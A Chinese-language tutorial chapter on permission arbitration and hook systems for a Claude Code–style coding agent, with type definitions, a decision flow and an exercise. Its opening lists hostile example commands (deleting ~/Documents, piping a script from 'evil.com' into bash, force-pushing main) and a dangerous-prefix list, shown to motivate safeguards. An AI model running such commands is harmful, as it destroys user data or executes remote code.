第 8 章:权限与安全仲裁

能力越大,责任越大;工具越强,沙箱越严。


8.1 核心问题

第 7 章实现的 Agent 有了"手"——它能执行 Shell 命令、读写文件。但这同时意味着它能:

  • rm -rf ~/Documents
  • curl http://evil.com | bash
  • git push --force origin main

Agent 在帮你"重构代码"的过程中随时可能执行这些命令。如何防止它做危险操作?如何让特定场景(CI、企业)的策略覆盖用户的偏好?如何在不修改 Agent 源码的情况下,在工具调用节点插入审计日志?

这就是本章要解决的两个问题:

  1. 权限仲裁:每次工具调用前,通过 canUseTool() 决策是"自动允许"、"自动拒绝"还是"询问用户"
  2. Hooks 系统:在 Agent 生命周期的任意节点(工具执行前后、对话结束、会话开始...)注入自定义 Shell 命令或 HTTP 请求

8.2 原理讲解

8.2.1 权限模式:全局行为开关

PermissionMode 是整个权限系统的"总闸",决定默认的仲裁策略:

// src/types/permissions.ts
type PermissionMode =
  | 'default'            // 不确定时询问用户(正常交互模式)
  | 'acceptEdits'        // 自动批准文件编辑类操作,Shell 仍询问
  | 'bypassPermissions'  // 跳过所有权限检查(CI/自动化场景,--dangerously-skip-permissions)
  | 'plan'               // 只规划,不执行任何工具(200K 模型下分析用)
  | 'dontAsk'            // 永远不询问(自动接受所有,危险!)
  | 'auto'               // ANT 内部:由 AI 分类器自动判断安全性(TRANSCRIPT_CLASSIFIER 特性门控)
  | 'bubble'             // 将权限决策转发给父级 Agent(子 Agent 使用)

plan 模式的特殊之处:当会话 token 超过 200K 时,Claude Code 会自动切换到更大的模型(200K+ 上下文),同时强制进入 plan 模式——LLM 只能分析,不能执行。这防止了"大模型读完超长代码库后顺手删文件"的情况。

bypassPermissions 是最危险的模式:它绕过所有检查,专为 CI/CD 流水线设计。Claude Code 在进入此模式前会显示明确警告,并要求用户明确同意(--dangerously-skip-permissions 标志)。

8.2.2 权限决策结果

每次工具调用,canUseTool() 返回三种结果之一:

// src/types/permissions.ts
type PermissionResult =
  | { behavior: 'allow'; updatedInput?: object; userModified?: boolean }
    // allow: 直接执行,可选地携带修改后的 input(Hook 可以修改工具参数)
  | { behavior: 'deny'; message?: string }
    // deny: 拒绝执行,向 LLM 反馈拒绝原因
  | { behavior: 'ask'; message: string; decisionReason?: PermissionDecisionReason }
    // ask: 暂停,等待用户在终端输入 [y/n]

8.2.3 权限规则:优先级层次

Claude Code 的权限规则来自多个层次,优先级从高到低:

CLI 参数 (cliArg)
  │ 最高优先级,--allow-tools "Bash(ls:*)"
  ▼
会话规则 (session)
  │ 用户在对话中通过 "始终允许这个命令" 添加的规则
  ▼
企业策略 (policySettings)
  │ 管理员下发的强制规则,普通用户不可覆盖
  ▼
项目设置 (projectSettings)
  │ .claude/settings.json 中的规则
  ▼
用户设置 (userSettings)
  │ ~/.claude/settings.json 中的规则
  ▼
默认行为 (PermissionMode 决定)

规则匹配语法permissionRuleParser.ts):

Bash(ls:*)      → 允许以 "ls" 开头的所有命令
Read            → 允许 Read 工具的所有调用(不限参数)
Bash(rm:*)      → 允许以 "rm" 开头的命令(危险!)

危险规则检测dangerousPatterns.ts):
Claude Code 内置了危险前缀检测——规则匹配 python:*node:*bash:*evalsudocurl 等时,在 auto 模式下会被自动剥除,防止"通过白名单绕过安全检查"的攻击。

8.2.4 canUseTool():权限的核心函数

在 Agentic Loop 中,每次执行工具前都会调用 canUseTool()

// src/hooks/useCanUseTool.ts 的类型签名
type CanUseToolFn = (
  tool: Tool,
  input: unknown,
  toolUseContext: ToolUseContext,
  assistantMessage: AssistantMessage,
  toolUseID: string,
  forceDecision?: PermissionBehavior,
) => Promise<PermissionResult>

canUseTool() 内部按顺序执行以下检查:

1. 检查是否处于 bypassPermissions 模式 → allow(跳过所有后续)
2. 检查是否处于 plan 模式 → deny(不允许任何工具执行)
3. 遍历 allowRules(从高优先级到低)→ 若匹配 allow 规则 → allow
4. 遍历 denyRules → 若匹配 deny 规则 → deny
5. 执行 PreToolUse Hooks → Hook 可返回 allow/deny/ask/passthrough
6. 若 Hook 返回 passthrough 或无 Hook → 基于 PermissionMode 决策:
   - dontAsk → allow
   - auto → 调用 AI 分类器(TRANSCRIPT_CLASSIFIER 特性)
   - default/acceptEdits → ask(询问用户)

updatedInput 机制allow 结果可以携带修改后的工具输入。例如,PreToolUse Hook 可以把 Bash(rm -f file.txt) 改为 Bash(rm -i file.txt)(加上交互确认标志),而 LLM 看到的依然是原始命令——修改对 LLM 透明。

8.2.5 Hooks 系统:27 个生命周期事件

Hooks 是 Claude Code 最强大的扩展点。完整的事件列表(src/entrypoints/sdk/coreTypes.ts):

const HOOK_EVENTS = [
  // 工具执行
  'PreToolUse',          // 工具执行前(可阻塞、可修改 input、可决定权限)
  'PostToolUse',         // 工具执行后(可注入额外上下文)
  'PostToolUseFailure',  // 工具执行失败后

  // 用户交互
  'UserPromptSubmit',    // 用户提交消息时(可修改/拦截)
  'Notification',        // 系统通知时

  // 会话生命周期
  'SessionStart',        // 会话开始(可指定要监听的文件路径)
  'SessionEnd',          // 会话结束
  'Setup',               // 初始化阶段

  // Agent 完成
  'Stop',                // 主 Agent 完成一轮任务
  'StopFailure',         // 主 Agent 失败
  'SubagentStart',       // 子 Agent 启动
  'SubagentStop',        // 子 Agent 完成

  // 对话压缩
  'PreCompact',          // 压缩前(可阻塞)
  'PostCompact',         // 压缩后

  // 权限
  'PermissionRequest',   // 权限请求时(决策前)
  'PermissionDenied',    // 权限被拒绝时

  // 文件与目录
  'CwdChanged',          // 工作目录变化
  'FileChanged',         // 被监听文件变化(SessionStart 中指定)
  'WorktreeCreate',      // Git worktree 创建
  'WorktreeRemove',      // Git worktree 删除

  // 配置
  'InstructionsLoaded',  // CLAUDE.md 加载完成
  'ConfigChange',        // 配置变更

  // 协作模式
  'TeammateIdle',        // 团队成员空闲
  'TaskCreated',         // 任务创建
  'TaskCompleted',       // 任务完成

  // 工具调用请求(MCP)
  'Elicitation',         // MCP 工具请求人工决策
  'ElicitationResult',   // 人工决策结果
] as const

8.2.6 Hook 的三种类型

类型 1:command(Shell 命令 Hook)

{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{"type": "command", "command": "./audit.sh"}]
    }]
  }
}
  • Hook 进程通过 环境变量 接收事件数据(CLAUDE_TOOL_NAMECLAUDE_TOOL_INPUT 等)
  • stdout 作为 Hook 输出,可以是纯文本(显示给 LLM)或 JSON(控制行为)
  • 支持 JSON 输出协议:
{
  "continue": false,
  "stopReason": "命令被审计系统拒绝",
  "hookSpecificOutput": {
    "hookEventName": "PreToolUse",
    "permissionDecision": "deny",
    "permissionDecisionReason": "命令包含危险操作"
  }
}

类型 2:http(HTTP Webhook)

{
  "hooks": {
    "PostToolUse": [{
      "hooks": [{"type": "http", "url": "https://audit.company.com/log"}]
    }]
  }
}
  • POST 方式发送事件 JSON 到指定 URL
  • 内置 SSRF 防护src/utils/hooks/ssrfGuard.ts):阻止请求私有 IP 范围(127.0.0.110.x172.16.x192.168.x::1 等),防止 Hook 被用来探测内网服务
  • HTTP Hook 必须返回 JSON 格式响应(与 command Hook 不同,不接受纯文本)

类型 3:function(程序内回调)

SDK 调用者专用,通过 registerFunctionHook() 在进程内注册 TypeScript 函数作为 Hook:

registerFunctionHook('PreToolUse', async (input) => {
  if (input.tool_name === 'Bash' && input.tool_input.command.includes('sudo')) {
    return { permissionDecision: 'deny', reason: '不允许 sudo' }
  }
  return { permissionDecision: 'allow' }
})

8.2.7 Hook 执行的安全机制

Workspace Trust(工作区信任):交互模式下,所有 Hook 都要求用户接受信任对话框后才会执行。这防止了"恶意项目在 .claude/settings.json 中注入 Hook 在用户不知情的情况下执行任意命令"的攻击。

// src/utils/hooks.ts
export function shouldSkipHookDueToTrust(): boolean {
  const isInteractive = !getIsNonInteractiveSession()
  if (!isInteractive) return false  // SDK 模式:信任是隐式的
  return !checkHasTrustDialogAccepted()  // 交互模式:必须显式接受
}

超时保护:工具 Hook 默认超时 10 分钟(TOOL_HOOK_EXECUTION_TIMEOUT_MS = 10 * 60 * 1000),SessionEnd Hook 超时 1.5 秒(关闭时不能无限等待)。

异步 Hook:Hook 可以返回 {"async": true} 声明为后台执行,立即返回不阻塞工具调用。异步 Hook 完成后通过注册机制将结果送回主线程。


8.3 Claude Code 源码细节

8.3.1 PermissionDecisionReason:权限决策原因追踪

每次权限决策都会记录原因,方便用户理解"为什么这个命令需要确认":

// src/types/permissions.ts
type PermissionDecisionReason =
  | { type: 'noMatchingRule' }            // 无匹配规则,走默认逻辑
  | { type: 'matchedDenyRule'; rule: string }  // 匹配到拒绝规则
  | { type: 'hook'; hookSource: string }  // Hook 触发的决策
  | { type: 'classifier'; classifier: string; reason: string }  // AI 分类器决策
  | { type: 'permissionMode'; mode: PermissionMode }  // 权限模式决策

8.3.2 Hook 输出的 permissionDecision 字段

PreToolUse Hook 可以通过 JSON 输出直接返回权限决策,绕过默认的权限流程:

// syncHookResponseSchema 中的 PreToolUse 专属字段:
{
  hookEventName: 'PreToolUse',
  permissionDecision: 'allow' | 'deny' | 'ask',
  permissionDecisionReason: string,  // 显示给用户的原因
  updatedInput: Record<string, unknown>,  // 修改工具参数
  additionalContext: string,  // 注入到 LLM 上下文的额外信息
}

这意味着一个 PreToolUse Hook 可以同时做到:

  1. 记录日志(执行 Shell 命令写入审计文件)
  2. 修改参数(如把不安全的命令改为安全版本)
  3. 注入上下文(向 LLM 提供工具执行的额外信息)
  4. 决定权限(直接 allow/deny,跳过用户询问)

8.3.3 AggregatedHookResult:多 Hook 聚合

同一个事件可以配置多个 Hook,结果被聚合为 AggregatedHookResult

type AggregatedHookResult = {
  blockingError?: HookBlockingError      // 任一 Hook 报告阻塞错误
  preventContinuation?: boolean          // 任一 Hook 返回 continue: false
  permissionBehavior?: 'allow' | 'deny' | 'ask'  // 最后一个有权限决策的 Hook
  additionalContexts?: string[]          // 所有 Hook 注入的上下文(合并)
  updatedInput?: Record<string, unknown> // 最后一个修改 input 的 Hook
}

聚合规则deny 优先于 allow 优先于 ask——任何一个 Hook 说 deny,就拒绝。

8.3.4 SessionEnd Hook 的超时设计

// src/utils/hooks.ts
const SESSION_END_HOOK_TIMEOUT_MS_DEFAULT = 1500  // 1.5 秒

export function getSessionEndHookTimeoutMs(): number {
  const raw = process.env.CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS
  const parsed = raw ? parseInt(raw, 10) : NaN
  return Number.isFinite(parsed) && parsed > 0 ? parsed : SESSION_END_HOOK_TIMEOUT_MS_DEFAULT
}

SessionEnd Hook 在进程关闭路径上执行,超时设计极短(1.5 秒)避免拖慢退出。用户可通过环境变量覆盖(比如 teardown 脚本需要更多时间)。

8.3.5 canUseTool()QueryEngine 中的位置

// src/QueryEngine.ts — submitMessage() 中
const wrappedCanUseTool: CanUseToolFn = async (tool, input, ...) => {
  const result = await canUseTool(tool, input, ...)
  
  // 追踪权限拒绝(用于 SDK 报告)
  if (result.behavior !== 'allow') {
    this.permissionDenials.push({
      tool_name: sdkCompatToolName(tool.name),
      tool_use_id: toolUseID,
      tool_input: input,
    })
  }
  return result
}

QueryEngine 包装了 canUseTool,在每次拒绝时记录 permissionDenials——SDK 调用方(如 VS Code 插件)可以读取这个列表了解"Agent 想做但被阻止了什么"。


8.4 最小化产出物

代码骨架位于 ../chapters/08/src/,参考实现位于 ../chapters/08/solution/前置条件:需要 ANTHROPIC_API_KEY 环境变量(npm start 需要)。

本章要实现什么

../chapters/08/src/permissions.ts 中完成权限仲裁和 Hooks 系统。

接口规范(已提供,不要修改):

export type PermissionMode = 'default' | 'bypassPermissions'
export type HookConfig = { command: string; timeout?: number }
export type HooksSettings = { hooks?: { PreToolUse?: HookConfig[]; Stop?: HookConfig[] } }
export const SAFE_BASH_PREFIXES: string[]

export function loadHooksConfig(): HooksSettings
export async function runPreToolUseHooks(hooksConfig, toolName, toolInput): Promise<{ permissionDecision?: 'allow' | 'deny' | 'ask'; reason?: string }>
export async function runStopHooks(hooksConfig, finalText): Promise<void>
export async function canUseTool(toolName, toolInput, permissionMode, hooksConfig): Promise<'allow' | 'deny'>
export function closeReadline(): void

你需要实现

  1. loadHooksConfig():读取 .mini-agent/settings.json,解析 JSON,失败时返回 {}
  2. runPreToolUseHooks():遍历 PreToolUse hooks,执行 shell 命令,聚合权限决策(deny 优先)
  3. runStopHooks():遍历 Stop hooks,执行 shell 命令,打印输出
  4. canUseTool()
    • bypassPermissions → 直接 allow
    • 执行 PreToolUse Hooks → Hook 可 allow/deny
    • Read → allow;Write → askUser;Bash → 安全命令 allow,其他 askUser

关键约束

  • canUseTool() 必须 import 并复用第 7 章的 agenticLoop(通过 main.ts 组合)
  • 本章只新增权限逻辑,工具执行仍来自第 4 章的 TOOL_REGISTRY

验收

cd docs/chapters/08
npm install
npm test

卡住时查看 ../chapters/08/solution/permissions.ts


8.5 权限流程图

工具调用请求
  │
  ▼
bypassPermissions?  ──是──→  allow(直接执行)
  │否
  ▼
plan 模式?  ──是──→  deny(不执行任何工具)
  │否
  ▼
匹配 allowRules?  ──是──→  allow
  │否
  ▼
匹配 denyRules?  ──是──→  deny(附带规则来源说明)
  │否
  ▼
执行 PreToolUse Hooks
  │
  ├─ Hook 返回 deny  ──→  deny(附带 Hook 原因)
  ├─ Hook 返回 allow ──→  allow(可能附带修改后的 input)
  ├─ Hook 返回 ask   ──┐
  └─ 无 Hook / passthrough ──┤
                              ▼
                        PermissionMode?
                          │
                          ├─ dontAsk     → allow
                          ├─ auto        → AI 分类器决策
                          ├─ acceptEdits → Read/Write: allow; Bash: ask
                          └─ default     → ask(询问用户 [y/n])

8.6 本章小结

本章为 Coding Agent 装上了"安全阀":

  1. PermissionMode 是全局策略开关default(询问)、acceptEdits(编辑自动允许)、bypassPermissions(全跳过,CI 用)、plan(只读,不执行)。bypassPermissions 是最危险的,Claude Code 要求明确的 --dangerously-skip-permissions 标志才能进入。

  2. 权限规则有优先级层次:CLI 参数 > 会话规则 > 企业策略 > 项目配置 > 用户配置 > 默认行为。这让企业管理员可以设置不可覆盖的强制策略。

  3. Hooks 是最强大的扩展点:27 个生命周期事件覆盖了从"工具执行前"到"会话结束"的完整生命周期。PreToolUse Hook 可以同时做审计、修改参数和决定权限,而 LLM 对这一切透明。

  4. Hook 安全机制:工作区信任对话框(防止恶意项目注入 Hook)、HTTP Hook 的 SSRF 防护(防止探测内网)、超时保护(防止 Hook 拖慢进程退出)。

  5. updatedInput 机制:权限系统不只能 allow/deny,还能修改工具参数——例如把 rm -f 改为 rm -i,让不安全的命令变安全,而 LLM 看到的仍是原始命令。

  6. permissionDenials 追踪QueryEngine 记录每次被拒绝的工具调用,SDK 调用方可读取,用于审计和分析"Agent 想做但不被允许的事情"。

下一章将解决另一个问题:LLM 默认不了解你的项目代码库,如何通过 System Prompt 注入项目上下文(CLAUDE.md、git 历史、目录树)让 Agent 一开始就"认识"你的代码?


下一章

第 9 章:上下文注入(System Prompt)